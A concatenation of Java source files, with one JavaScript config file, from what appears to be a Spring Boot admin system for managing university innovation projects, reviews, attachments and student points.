private List<InnovateTrainingBaseAttachEntity> delBaseAttachList;
}
<file_sep>package com.innovate.modules.innovate.service;
import com.baomidou.mybatisplus.service.IService;
import com.innovate.common.utils.PageUtils;
import com.innovate.modules.innovate.entity.ProjectAttachEntity;
import java.util.List;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @Email:<EMAIL>
* @date 2018/11/19 18:41
* @Version 1.0
*/
public interface ProjectAttachService extends IService<ProjectAttachEntity> {
List<ProjectAttachEntity> queryAll(Map<String, Object> params);
void remove(Map<String, Object> params);
}
<file_sep>package com.innovate.modules.profess.controller;
import java.util.Arrays;
import java.util.List;
import java.util.Map;
import com.innovate.modules.profess.entity.InnovateProfessAchieveEntity;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import com.innovate.modules.profess.entity.InnovateProfessAchieveTypeEntity;
import com.innovate.modules.profess.service.InnovateProfessAchieveTypeService;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.R;
/**
* 专创成果类型
*
* @author HHUFU
* @email <EMAIL>
* @date 2020-11-24 00:40:46
*/
@RestController
@RequestMapping("profess/innovateprofessachievetype")
public class InnovateProfessAchieveTypeController {
@Autowired
private InnovateProfessAchieveTypeService innovateProfessAchieveTypeService;
/**
* 列表
*/
@RequestMapping("/list")
@RequiresPermissions("profess:innovateprofessachievetype:list")
public R list(@RequestParam Map<String, Object> params){
PageUtils page = innovateProfessAchieveTypeService.queryPage(params);
return R.ok().put("page", page);
}
/**
* 所有专项成果类型
*/
@GetMapping("/all")
public R all(){
List<InnovateProfessAchieveTypeEntity> professAchieveType = innovateProfessAchieveTypeService.queryAllProfessAchieveType();
return R.ok()
.put("professAchieveType", professAchieveType);
}
/**
* 信息
*/
@RequestMapping("/info/{professAchieveTypeId}")
@RequiresPermissions("profess:innovateprofessachievetype:info")
public R info(@PathVariable("professAchieveTypeId") Long professAchieveTypeId){
InnovateProfessAchieveTypeEntity innovateProfessAchieveType = innovateProfessAchieveTypeService.selectById(professAchieveTypeId);
return R.ok().put("innovateProfessAchieveType", innovateProfessAchieveType);
}
/**
* 保存
*/
@RequestMapping("/save")
@RequiresPermissions("profess:innovateprofessachievetype:save")
public R save(@RequestBody InnovateProfessAchieveTypeEntity innovateProfessAchieveType){
innovateProfessAchieveTypeService.insert(innovateProfessAchieveType);
return R.ok();
}
/**
* 修改
*/
@RequestMapping("/update")
@RequiresPermissions("profess:innovateprofessachievetype:update")
public R update(@RequestBody InnovateProfessAchieveTypeEntity innovateProfessAchieveType){
innovateProfessAchieveTypeService.updateById(innovateProfessAchieveType);
return R.ok();
}
/**
* 删除
*/
@RequestMapping("/delete")
@RequiresPermissions("profess:innovateprofessachievetype:delete")
public R delete(@RequestBody Long[] professAchieveTypeIds){
innovateProfessAchieveTypeService.deleteBatchIds(Arrays.asList(professAchieveTypeIds));
return R.ok();
}
}
<file_sep>package com.innovate.modules.profess.service;
import com.baomidou.mybatisplus.service.IService;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.R;
import com.innovate.modules.profess.entity.InnovateProfessAchieveEntity;
import com.innovate.modules.profess.entity.ProfessModel;
import org.springframework.transaction.annotation.Transactional;
import java.util.List;
import java.util.Map;
/**
* 专创成果
*
* @author HHUFU
* @email <EMAIL>
* @date 2020-11-24 00:40:46
*/
public interface InnovateProfessAchieveService extends IService<InnovateProfessAchieveEntity> {
PageUtils queryPage(Map<String, Object> params);
@Transactional
boolean insertModel(ProfessModel professModel);
R info(Long professAchieveId);
@Transactional
boolean update(ProfessModel professModel);
List<InnovateProfessAchieveEntity> queryListByIds(Long[] professAchieveIds);
int deleteList(List<Long> asList);
}
<file_sep>package com.innovate.modules.cooperation.service;
import com.baomidou.mybatisplus.service.IService;
import com.innovate.common.utils.PageUtils;
import com.innovate.modules.cooperation.entity.InnovateCooperationMaterialsEntity;
import com.innovate.modules.points.entity.InnovateStudentPointsAttachEntity;
import java.util.List;
import java.util.Map;
/**
* 校政企合作附件
*
* @author HHUFU
* @email <EMAIL>
* @date 2020-11-25 21:54:33
*/
public interface InnovateCooperationMaterialsService extends IService<InnovateCooperationMaterialsEntity> {
PageUtils queryPage(Map<String, Object> params);
void deleteList(List<Long> asList);
}
<file_sep>package com.innovate.modules.finish.service.impl;
import com.baomidou.mybatisplus.enums.SqlLike;
import com.baomidou.mybatisplus.mapper.EntityWrapper;
import com.baomidou.mybatisplus.plugins.Page;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.innovate.modules.finish.service.FinishInExpertService;
import com.innovate.modules.finish.service.FinishOutExpertService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.Map;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.Query;
import com.innovate.modules.finish.dao.FinishExpertCollectDao;
import com.innovate.modules.finish.entity.FinishExpertCollectEntity;
import com.innovate.modules.finish.service.FinishExpertCollectService;
@Service("innovateFinishExpertCollectService")
public class FinishExpertCollectServiceImpl extends ServiceImpl<FinishExpertCollectDao, FinishExpertCollectEntity> implements FinishExpertCollectService {
@Autowired
private FinishOutExpertService finishOutExpertService;
@Autowired
private FinishInExpertService finishInExpertService;
@Override
public PageUtils queryPage(Map<String, Object> params) {
EntityWrapper<FinishExpertCollectEntity> ew = new EntityWrapper<>();
ew.setEntity(new FinishExpertCollectEntity());
String key = params.get("key").toString();
Object instituteId = params.get("instituteId");
Object year = params.get("year");
Object status = params.get("status");
if (key!=null&&key!="")ew.like("expert_collect_writer",key, SqlLike.DEFAULT);
if (year!=null&&year!="")ew.like("expert_collect_time",year.toString(),SqlLike.DEFAULT);
if (instituteId!=null&&instituteId!="")ew.eq("expert_collect_institute_id",instituteId);
if (status!=null&&status!="")ew.eq("expert_apply",status);
Page<FinishExpertCollectEntity> page = this.selectPage(
new Query<FinishExpertCollectEntity>(params).getPage(),
ew
);
return new PageUtils(page);
}
/**
* 更新
* @param innovateFinishExpertCollect
*/
@Override
public void updateByProps(FinishExpertCollectEntity innovateFinishExpertCollect) {
this.updateById(innovateFinishExpertCollect);
finishInExpertService.insertOrUpdateAllColumnBatch(innovateFinishExpertCollect.getFinishInExpertEntities());
finishOutExpertService.insertOrUpdateBatch(innovateFinishExpertCollect.getFinishOutExpertEntities());
}
}<file_sep>package com.innovate.modules.points.entity;
import java.io.Serializable;
import java.util.Date;
import com.baomidou.mybatisplus.annotations.TableField;
import com.baomidou.mybatisplus.annotations.TableId;
import com.baomidou.mybatisplus.annotations.TableName;
import lombok.Data;
/**
* 签到
*
* @author Mikey
* @email <EMAIL>
* @date 2020-11-10 13:33:51
*/
@Data
@TableName("innovate_student_sign_in")
public class InnovateStudentSignInEntity implements Serializable {
private static final long serialVersionUID = 1L;
/**
*
*/
@TableId
private Long id;
/**
* 活动id
*/
private Long activityId;
/**
* 学生学号
*/
private Long studentId;
/**
* 签到时间
*/
private Date signInTime;
/**
* 对应的活动
*/
@TableField(exist = false)
private InnovateStudentActivityEntity innovateStudentActivityEntity;
}
<file_sep>package com.innovate.modules.innovate.dao;
import com.baomidou.mybatisplus.mapper.BaseMapper;
import com.innovate.modules.innovate.entity.ProjectRetreatEntity;
import org.apache.ibatis.annotations.Mapper;
import java.util.List;
import java.util.Map;
/**
* @author:tz
* @create:2018-12-15
* @description:项目流程回退
**/
@Mapper
public interface ProjectRetreatDao extends BaseMapper<ProjectRetreatEntity> {
List<ProjectRetreatEntity> queryAll(Map<String, Object> params);
void remove(Map<String, Object> params);
}
<file_sep>package com.innovate.modules.innovate.dao;
import com.baomidou.mybatisplus.mapper.BaseMapper;
import com.innovate.modules.innovate.entity.InnovateReviewGroupEntity;
import org.apache.ibatis.annotations.Mapper;
import java.util.List;
/**
* @author: 尧志欣
* Email:<EMAIL>
* Date: 2018/12/7
**/
@Mapper
public interface InnovateReviewGroupDao extends BaseMapper<InnovateReviewGroupEntity> {
List<InnovateReviewGroupEntity> queryAll();
InnovateReviewGroupEntity save(InnovateReviewGroupEntity innovateGroupEntity);
}
<file_sep>package com.innovate.modules.declare.entity;
import com.baomidou.mybatisplus.annotations.TableId;
import com.baomidou.mybatisplus.annotations.TableName;
import lombok.Data;
import java.io.Serializable;
/**
* @author:tz
* @create:2018-12-15
* @description:大创申报流程回退
**/
@Data
@TableName("innovate_declare_retreat")
public class DeclareRetreatEntity implements Serializable {
@TableId
private Long retreatId;
private Long declareId;
private Long userId;
private String apply;
private Long applyStatus;
private String retreatOption;
private Long hasUpdate;
private Long isDel;
}
<file_sep>package com.innovate.modules.match.service.impl;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.innovate.modules.match.dao.MatchStaffInfoDao;
import com.innovate.modules.match.entity.MatchStaffInfoEntity;
import com.innovate.modules.match.service.MatchStaffInfoService;
import org.springframework.stereotype.Service;
import java.util.List;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 17:43
* @Version 1.0
*/
@Service
public class MatchStaffInfoServiceImpl extends ServiceImpl<MatchStaffInfoDao, MatchStaffInfoEntity> implements MatchStaffInfoService {
@Override
public List<MatchStaffInfoEntity> queryAll(Map<String, Object> params) {
return baseMapper.queryAll(params);
}
@Override
public Long queryUserNum(Map<String, Object> params) {
return baseMapper.queryUserNum(params);
}
@Override
public void remove(Map<String, Object> params) {
baseMapper.remove(params);
}
}
<file_sep>package com.innovate.modules.innovate.service.impl;
import com.baomidou.mybatisplus.mapper.EntityWrapper;
import com.baomidou.mybatisplus.plugins.Page;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.Query;
import com.innovate.modules.innovate.dao.ProjectAttachDao;
import com.innovate.modules.innovate.entity.ProjectAttachEntity;
import com.innovate.modules.innovate.service.ProjectAttachService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.List;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @Email:<EMAIL>
* @date 2018/11/19 18:47
* @Version 1.0
*/
@Service
public class ProjectAttachServiceImpl extends ServiceImpl<ProjectAttachDao, ProjectAttachEntity> implements ProjectAttachService {
@Override
public List<ProjectAttachEntity> queryAll(Map<String, Object> params) {
return baseMapper.queryAll(params);
}
@Override
public void remove(Map<String, Object> params) {
baseMapper.remove(params);
}
}
<file_sep>package com.innovate.modules.finish.service;
import com.baomidou.mybatisplus.service.IService;
import com.innovate.common.utils.PageUtils;
import com.innovate.modules.finish.entity.FinishExpertCollectEntity;
import java.util.Map;
/**
*
*
* @author Mikey
* @email <EMAIL>
* @date 2019-10-16 22:02:23
*/
public interface FinishExpertCollectService extends IService<FinishExpertCollectEntity> {
PageUtils queryPage(Map<String, Object> params);
void updateByProps(FinishExpertCollectEntity innovateFinishExpertCollect);
}
<file_sep>/**
* 测试环境
*/
;(function () {
window.SITE_CONFIG = {};
// api接口请求地址
// window.SITE_CONFIG['baseUrl'] = 'http://172.16.31.10:8080/innovate-admin';
window.SITE_CONFIG['baseUrl'] = 'http://0.0.0.0:8088/innovate-admin';
// cdn地址 = 域名 + 版本号
window.SITE_CONFIG['domain'] = './'; // 域名
window.SITE_CONFIG['version'] = ''; // 版本号(年月日时分)
window.SITE_CONFIG['cdnUrl'] = window.SITE_CONFIG.domain + window.SITE_CONFIG.version;
})();
<file_sep>package com.innovate.modules.check.controller;
import com.innovate.common.utils.R;
import com.innovate.modules.check.entity.InnovateCheckAwardEntity;
import com.innovate.modules.check.entity.InnovateCheckReviewEntity;
import com.innovate.modules.check.service.InnovateCheckAwardService;
import com.innovate.modules.check.service.InnovateCheckReviewService;
import com.innovate.modules.declare.entity.DeclareReviewEntity;
import com.innovate.modules.declare.service.DeclareReviewService;
import com.innovate.modules.match.entity.MatchUnScoreTeacherEntity;
import com.innovate.modules.sys.controller.AbstractController;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import java.util.List;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 21:10
* @Version 1.0
*/
@RestController
@RequestMapping("innovate/check/review")
public class InnovateCheckReviewController extends AbstractController {
@Autowired
private InnovateCheckReviewService innovateCheckReviewService;
/**
* 分配评委组绑定用户
*/
@PostMapping("/review")
@RequiresPermissions("innovate:check:list")
public R review(@RequestBody Map<String,Object> params){
innovateCheckReviewService.reviewUser(params);
return R.ok();
}
/**
* 评分
*/
@PostMapping("/score")
@RequiresPermissions("innovate:check:list")
public R score(@RequestBody(required = false) InnovateCheckReviewEntity innovateCheckReviewEntity){
innovateCheckReviewService.score(innovateCheckReviewEntity);
return R.ok();
}
/**
* 查询评分
*/
@GetMapping("/info")
@RequiresPermissions("innovate:check:list")
public R info(@RequestParam Map<String,Object> params){
InnovateCheckReviewEntity innovateCheckReviewEntity = innovateCheckReviewService.queryScore(params);
return R.ok().put("checkReviewEntity",innovateCheckReviewEntity);
}
/**
* 查询未评分评委
*/
@GetMapping("/noScoreTeacher")
@RequiresPermissions("innovate:check:list")
public R unReviewTeacher(@RequestParam Map<String,Object> params){
List<MatchUnScoreTeacherEntity> noScoreTeacher = innovateCheckReviewService.queryTeacher(params);
return R.ok().put("noScoreTeacher", noScoreTeacher);
}
/**
* 修改
*/
@PostMapping("/update")
@RequiresPermissions("innovate:check:list")
public R update(@RequestBody InnovateCheckReviewEntity innovateCheckReviewEntity){
innovateCheckReviewService.updateAllColumnById(innovateCheckReviewEntity);
return R.ok();
}
}
<file_sep>package com.innovate.modules.match.controller;
import com.innovate.common.utils.R;
import com.innovate.modules.match.entity.MatchReviewPointEntity;
import com.innovate.modules.match.service.MatchReviewPointService;
import com.innovate.modules.sys.controller.AbstractController;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import java.util.List;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 21:10
* @Version 1.0
*/
@RestController
@RequestMapping("innovate/match/reviewPoint")
public class MatchReviewPointController extends AbstractController {
@Autowired
private MatchReviewPointService matchReviewPointService;
/**
* 分配评委组绑定用户
*/
// @PostMapping("/review")
// @RequiresPermissions("innovate:match:list")
// public R review(@RequestBody Map<String,Object> params){
// matchReviewService.reviewUser(params);
// return R.ok();
// }
// /**
// * 评分
// */
// @PostMapping("/score")
// @RequiresPermissions("innovate:match:list")
// public R score(@RequestBody(required = false) MatchReviewEntity matchReviewEntity){
// matchReviewService.score(matchReviewEntity);
// return R.ok();
// }
// /**
// * 查询评分
// */
// @GetMapping("/info")
// @RequiresPermissions("innovate:match:list")
// public R info(@RequestParam Map<String,Object> params){
// MatchReviewEntity matchReviewEntity = matchReviewService.queryScore(params);
// return R.ok().put("matchReviewEntity",matchReviewEntity);
// }
/**
* 查询评分标准
*/
@GetMapping("/list")
@RequiresPermissions("innovate:match:list")
public R info(@RequestParam Map<String,Object> params){
List<MatchReviewPointEntity> matchReviewPointEntityList = matchReviewPointService.queryAllReviewPointByReviewType(params);
return R.ok().put("matchReviewPointEntityList",matchReviewPointEntityList);
}
/**
* 修改
*/
@PostMapping("/update")
@RequiresPermissions("innovate:match:list")
public R update(@RequestBody MatchReviewPointEntity matchReviewPointEntity){
matchReviewPointService.updateAllColumnById(matchReviewPointEntity);
return R.ok();
}
}
<file_sep>package com.innovate.modules.innovate.dao;
import com.innovate.modules.innovate.entity.InnovateFileAskEntity;
import com.baomidou.mybatisplus.mapper.BaseMapper;
import org.apache.ibatis.annotations.Mapper;
import java.util.List;
import java.util.Map;
/**
* 上传文件要求表
* @author Mikey
* @email <EMAIL>
* @date 2019-09-18 22:20:42
*/
@Mapper
public interface InnovateFileAskDao extends BaseMapper<InnovateFileAskEntity> {
/**
* 查询满足条件的项目总数
* @param params
* @return
*/
Integer queryCountPage(Map<String, Object> params);
List<InnovateFileAskEntity> queryPage(Map<String, Object> params);
/**
* 查询满足条件的对象
* @param params
* @return
*/
InnovateFileAskEntity queryByParams(Map<String, Object> params);
}
<file_sep>package com.innovate.modules.innovate.service.impl;
import org.springframework.stereotype.Service;
import java.util.Date;
import java.util.Map;
import com.baomidou.mybatisplus.mapper.EntityWrapper;
import com.baomidou.mybatisplus.plugins.Page;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.Query;
import com.innovate.modules.innovate.dao.InnovateDeclarationProcessSettingDao;
import com.innovate.modules.innovate.entity.InnovateDeclarationProcessSettingEntity;
import com.innovate.modules.innovate.service.InnovateDeclarationProcessSettingService;
@Service("innovateDeclarationProcessSettingService")
public class InnovateDeclarationProcessSettingServiceImpl extends ServiceImpl<InnovateDeclarationProcessSettingDao, InnovateDeclarationProcessSettingEntity> implements InnovateDeclarationProcessSettingService {
@Override
public PageUtils queryPage(Map<String, Object> params) {
EntityWrapper<InnovateDeclarationProcessSettingEntity> entityWrapper = new EntityWrapper<>();
if (params.get("key") != null && !params.get("key").equals("")) entityWrapper.eq("declare_process_name", Integer.parseInt(params.get("key").toString()));
entityWrapper.orderBy("start_time", false);
Page<InnovateDeclarationProcessSettingEntity> page = this.selectPage(
new Query<InnovateDeclarationProcessSettingEntity>(params).getPage(),
entityWrapper
);
return new PageUtils(page);
}
@Override
public int queryCount(Map<String, Object> params) {
return baseMapper.queryCount(params);
}
@Override
public int queryStartTime(Map<String, Object> params) {
return baseMapper.queryStartTime(params);
}
@Override
public int queryEndTime(Map<String, Object> params) {
return baseMapper.queryEndTime(params);
}
@Override
public InnovateDeclarationProcessSettingEntity selectByTime(Map<String, Object> params) {
return baseMapper.selectByTime(params);
}
/**
* 查询最新的大创结题申报流程时间
* @return 结果
*/
@Override
public InnovateDeclarationProcessSettingEntity queryNew() {
return baseMapper.queryNew();
}
}
<file_sep>package com.innovate.modules.oss.controller;
import com.alibaba.fastjson.JSONObject;
import com.google.gson.Gson;
import com.innovate.common.exception.RRException;
import com.innovate.common.utils.*;
import com.innovate.common.validator.ValidatorUtils;
import com.innovate.common.validator.group.AliyunGroup;
import com.innovate.common.validator.group.QcloudGroup;
import com.innovate.common.validator.group.QiniuGroup;
import com.innovate.modules.declare.entity.DeclareAttachEntity;
import com.innovate.modules.declare.service.DeclareAttachService;
import com.innovate.modules.finish.entity.FinishAttachEntity;
import com.innovate.modules.finish.service.FinishAttachService;
import com.innovate.modules.innovate.config.ConfigApi;
import com.innovate.modules.match.entity.MatchAttachEntity;
import com.innovate.modules.match.service.MatchAttachService;
import com.innovate.modules.oss.cloud.CloudStorageConfig;
import com.innovate.modules.oss.cloud.OSSFactory;
import com.innovate.modules.oss.entity.SysOssEntity;
import com.innovate.modules.oss.service.SysOssService;
import com.innovate.modules.sys.controller.AbstractController;
import com.innovate.modules.sys.service.SysConfigService;
import com.innovate.modules.util.FileUtils;
import com.innovate.common.utils.OSSUtils;
import com.innovate.modules.util.ZipUtils;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.multipart.MultipartFile;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.File;
import java.io.IOException;
import java.util.*;
/**
* 文件上传
*
* @author chenshun
* @email <EMAIL>
* @date 2017-03-25 12:13:26
*/
@RestController
@RequestMapping("sys/oss")
public class SysOssController{
@Autowired
private SysOssService sysOssService;
@Autowired
private SysConfigService sysConfigService;
@Autowired
private MatchAttachService matchAttachService;
@Autowired
private DeclareAttachService declareAttachService;
@Autowired
private FinishAttachService finishAttachService;
private final static String KEY = ConfigConstant.CLOUD_STORAGE_CONFIG_KEY;
private Logger logger = LoggerFactory.getLogger(getClass());
/**
* 列表
*/
@GetMapping("/list")
@RequiresPermissions("sys:oss:all")
public R list(@RequestParam Map<String, Object> params){
PageUtils page = sysOssService.queryPage(params);
return R.ok().put("page", page);
}
/**
* 云存储配置信息
*/
@GetMapping("/config")
@RequiresPermissions("sys:oss:all")
public R config(){
CloudStorageConfig config = sysConfigService.getConfigObject(KEY, CloudStorageConfig.class);
return R.ok().put("config", config);
}
/**
* 保存云存储配置信息
*/
@PostMapping("/saveConfig")
@RequiresPermissions("sys:oss:all")
public R saveConfig(@RequestBody CloudStorageConfig config){
//校验类型
ValidatorUtils.validateEntity(config);
if(config.getType() == Constant.CloudService.QINIU.getValue()){
//校验七牛数据
ValidatorUtils.validateEntity(config, QiniuGroup.class);
}else if(config.getType() == Constant.CloudService.ALIYUN.getValue()){
//校验阿里云数据
ValidatorUtils.validateEntity(config, AliyunGroup.class);
}else if(config.getType() == Constant.CloudService.QCLOUD.getValue()){
//校验腾讯云数据
ValidatorUtils.validateEntity(config, QcloudGroup.class);
}
sysConfigService.updateValueByKey(KEY, new Gson().toJson(config));
return R.ok();
}
/**
* 上传文件
*/
@PostMapping("/upload")
@RequiresPermissions("sys:oss:all")
public R upload(@RequestParam("file") MultipartFile file) throws Exception {
if (file.isEmpty()) {
throw new RRException("上传文件不能为空");
}
//上传文件
String suffix = file.getOriginalFilename().substring(file.getOriginalFilename().lastIndexOf("."));
String url = OSSFactory.build().uploadSuffix(file.getBytes(), suffix);
//保存文件信息
SysOssEntity ossEntity = new SysOssEntity();
ossEntity.setUrl(url);
ossEntity.setCreateDate(new Date());
sysOssService.insert(ossEntity);
return R.ok().put("url", url);
}
/**
* 删除
*/
@PostMapping("/delete")
@RequiresPermissions("sys:oss:all")
public R delete(@RequestBody Long[] ids){
sysOssService.deleteBatchIds(Arrays.asList(ids));
return R.ok();
}
/**
* 下载服务器所有附件
* @param response
* @param request
*/
@PostMapping(value = "/download")
@RequiresPermissions("sys:oss:all")
public void downloadFile(final HttpServletResponse response, final HttpServletRequest request) {
try {
List<File> fileList = new ArrayList<>();
List<MatchAttachEntity> matchAttachEntities = new ArrayList<>();
Map<String, Object> params = new HashMap<>();
matchAttachEntities = matchAttachService.queryAll(params);
int i = 0;
for (MatchAttachEntity m: matchAttachEntities) {
fileList.add(OSSUtils.downloadFileFromOSS(m.getAttachPath(), m.getAttachName()));
}
ZipUtils.toZip(fileList, response.getOutputStream());
} catch (IOException e) {
e.printStackTrace();
}
}
/**
* 下载服务器所有附件
* @param response
* @param request
*/
@GetMapping(value = "/downloadFile")
@RequiresPermissions("sys:oss:all")
public void downloadFile2(final HttpServletResponse response, final HttpServletRequest request, String matchTime, String id, String beginTime,String endTime) throws Exception{
try {
Map<String, Object> params = new HashMap<>();
params.put("matchTime", matchTime);
params.put("beginTime",beginTime);
params.put("endTime",endTime);
switch (id){
case "1":
List<MatchAttachEntity> matchAttachEntities = matchAttachService.queryMatchByTime(params);
if (matchAttachEntities.size() == 0){
return;
}
ZipUtils.toZip2(matchAttachEntities, response.getOutputStream(), ShiroUtils.getSession());
break;
case "2":
List<DeclareAttachEntity> declareAttachEntities = declareAttachService.queryDCByTime(params);
if (declareAttachEntities.size() == 0){
return;
}
ZipUtils.toZip2(declareAttachEntities, response.getOutputStream(), ShiroUtils.getSession());
break;
case "3":
List<FinishAttachEntity> finishAttachEntities = finishAttachService.queryDcConclusion(params);
if (finishAttachEntities.size() == 0){
return;
}
ZipUtils.toZip2(finishAttachEntities, response.getOutputStream(), ShiroUtils.getSession());
break;
default:break;
}
} catch (IOException e) {
e.printStackTrace();
}
}
/**
* 删除所有附件
*/
@PostMapping(value = "/del")
@RequiresPermissions("sys:oss:all")
public R deleteServerFile() {
logger.warn("执行删除服务器附件");
//谨慎操作
FileUtils.deleteTotal(ConfigApi.UPLOAD_URL);
return R.ok();
}
@PostMapping(value = "/flushProgress")
public R flushProgress(){
int percent = 0;
int totalFile = 0;
// System.out.println("percent============" + ShiroUtils.getSession().getAttribute("percent"));
// System.out.println("totalFile===========" + ShiroUtils.getSession().getAttribute("totalFile") );
if(null!=ShiroUtils.getSession().getAttribute("percent")){
percent = (Integer)ShiroUtils.getSession().getAttribute("percent") ;
totalFile = (Integer)ShiroUtils.getSession().getAttribute("totalFile") ;
}
return R.ok().put("percent",percent).put("totalFile", totalFile);
}
}
<file_sep>package com.innovate.modules.innovate.dao;
import com.baomidou.mybatisplus.mapper.BaseMapper;
import com.innovate.modules.innovate.entity.BaseMoneyEntity;
import org.apache.ibatis.annotations.Mapper;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 16:12
* @Version 1.0
*/
@Mapper
public interface BaseMoneyDao extends BaseMapper<BaseMoneyEntity> {
/**
* 统计投资金额总数
*/
Double queryMoney(Long baseId,Long moneyType);
}
<file_sep>package com.innovate.modules.declare.service.impl;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.innovate.modules.declare.dao.DeclareSigningOpinionDao;
import com.innovate.modules.declare.entity.DeclareInfoEntity;
import com.innovate.modules.declare.entity.DeclareSigningOpinionEntity;
import com.innovate.modules.declare.service.DeclareApplyService;
import com.innovate.modules.declare.service.DeclareInfoService;
import com.innovate.modules.declare.service.DeclareSigningOpinionService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.Date;
import java.util.Map;
/**
* @Program: innovate-admin-19-25
* @Author: 麦奇
* @Email: <EMAIL>
* @Create: 2019-02-05 23:12
* @Describe:
**/
@Service
public class DeclareSigningOpinionServiceImpl extends ServiceImpl<DeclareSigningOpinionDao, DeclareSigningOpinionEntity> implements DeclareSigningOpinionService {
@Autowired
private DeclareApplyService declareApplyService;
/**
* 添加签署意见
* @param params
*/
@Override
public void addSigningOpinion(Map<String, Object> params) {
DeclareSigningOpinionEntity declareSigningOpinionEntity = new DeclareSigningOpinionEntity();
declareSigningOpinionEntity.setSigningOpinion(params.get("sighingOpinion").toString());
declareSigningOpinionEntity.setDeclareId(Long.parseLong(params.get("declareId").toString()));
declareSigningOpinionEntity.setUserId(Long.parseLong(params.get("userId").toString()));
declareSigningOpinionEntity.setSignType(Integer.parseInt(params.get("signType").toString()));
declareSigningOpinionEntity.setSigningOpinionTime(new Date());
this.insert(declareSigningOpinionEntity);
declareApplyService.apply(params);
}
/**
* 查询签署意见
* @param params
* @return
*/
@Override
public DeclareSigningOpinionEntity queryDeclareSigningOpinionByDeclareIdAndType(Map<String, Object> params) {
return baseMapper.queryDeclareSigningOpinionByDeclareIdAndType(Long.parseLong(params.get("declareId").toString()), Integer.parseInt(params.get("signType").toString()));
}
/**
* 删除签署意见
* @param params
*/
@Override
public void remove(Map<String, Object> params) {
this.deleteByMap(params);
}
}
<file_sep>package com.innovate.modules.innovate.dao;
import com.baomidou.mybatisplus.mapper.BaseMapper;
import com.innovate.modules.innovate.entity.InnovateGradeEntity;
import com.innovate.modules.innovate.entity.InnovateSchoolEntity;
import org.apache.ibatis.annotations.Mapper;
import java.util.List;
/**
* @author: 尧志欣
* Email:<EMAIL>
* Date: 2018/11/6
**/
@Mapper
public interface InnovateSchoolDao extends BaseMapper<InnovateSchoolEntity> {
List<InnovateSchoolEntity> queryAll();
}
<file_sep>package com.innovate.modules.cooperation.entity;
import com.alibaba.excel.annotation.ExcelIgnore;
import com.alibaba.excel.annotation.ExcelProperty;
import com.alibaba.excel.annotation.format.DateTimeFormat;
import com.baomidou.mybatisplus.annotations.TableField;
import com.baomidou.mybatisplus.annotations.TableId;
import com.baomidou.mybatisplus.annotations.TableName;
import java.io.Serializable;
import java.util.Date;
import com.fasterxml.jackson.annotation.JsonFormat;
import com.innovate.modules.sys.entity.SysUserEntity;
import lombok.Data;
/**
* 校政企合作项目
*
* @author HHUFU
* @email <EMAIL>
* @date 2020-11-26 11:24:21
*/
@Data
@TableName("innovate_cooperation_projects")
public class InnovateCooperationProjectsEntity implements Serializable {
private static final long serialVersionUID = 1L;
/**
* 自增主键
*/
@TableId
@ExcelIgnore
private Long cooperationId;
/**
* 企业名称
*/
@ExcelProperty(value = {"企业名称"})
private String enterpriseName;
/**
* 项目名称
*/
@ExcelProperty(value = {"项目名称"})
private String projectName;
/**
* 二级学院 学院表主键
*/
@ExcelIgnore
@ExcelProperty(value = {"二级学院ID"})
private Long instituteId;
/**
* 所属二级学院
*/
@ExcelProperty(value = "所属二级学院")
@TableField(exist = false)
private String instituteName;
/**
* 年度
*/
@ExcelProperty(value = {"年度"})
private String cooperationYear;
/**
* 主持人
*/
@ExcelIgnore
private Long userId;
/**
* 起始时间
*/
@DateTimeFormat("yyyy-MM-dd")
@JsonFormat(locale="zh", timezone="GMT+8", pattern = "yyyy-MM-dd HH:mm:ss")
@ExcelProperty(value = {"起始时间"})
private Date startTime;
/**
* 截止时间
*/
@DateTimeFormat("yyyy-MM-dd")
@JsonFormat(locale="zh", timezone="GMT+8", pattern = "yyyy-MM-dd HH:mm:ss")
@ExcelProperty(value = {"截止时间"})
private Date endTime;
/**
* 删除状态
*/
@ExcelIgnore
private Integer isDel;
/**
* 用户信息
*/
@TableField(exist = false)
@ExcelIgnore
private SysUserEntity userEntity;
/**
* 企业登记表主键
*/
@ExcelIgnore
private Long authenticationId;
}
<file_sep>package com.innovate.modules.points.dao;
import com.innovate.modules.points.entity.InnovateStudentPointsAttachEntity;
import com.baomidou.mybatisplus.mapper.BaseMapper;
import org.apache.ibatis.annotations.Mapper;
/**
* 学生积分申请附件
*
* @author HHUFU
* @email <EMAIL>
* @date 2020-11-24 00:45:59
*/
@Mapper
public interface InnovateStudentPointsAttachDao extends BaseMapper<InnovateStudentPointsAttachEntity> {
}
<file_sep>package com.innovate.modules.innovate.service;
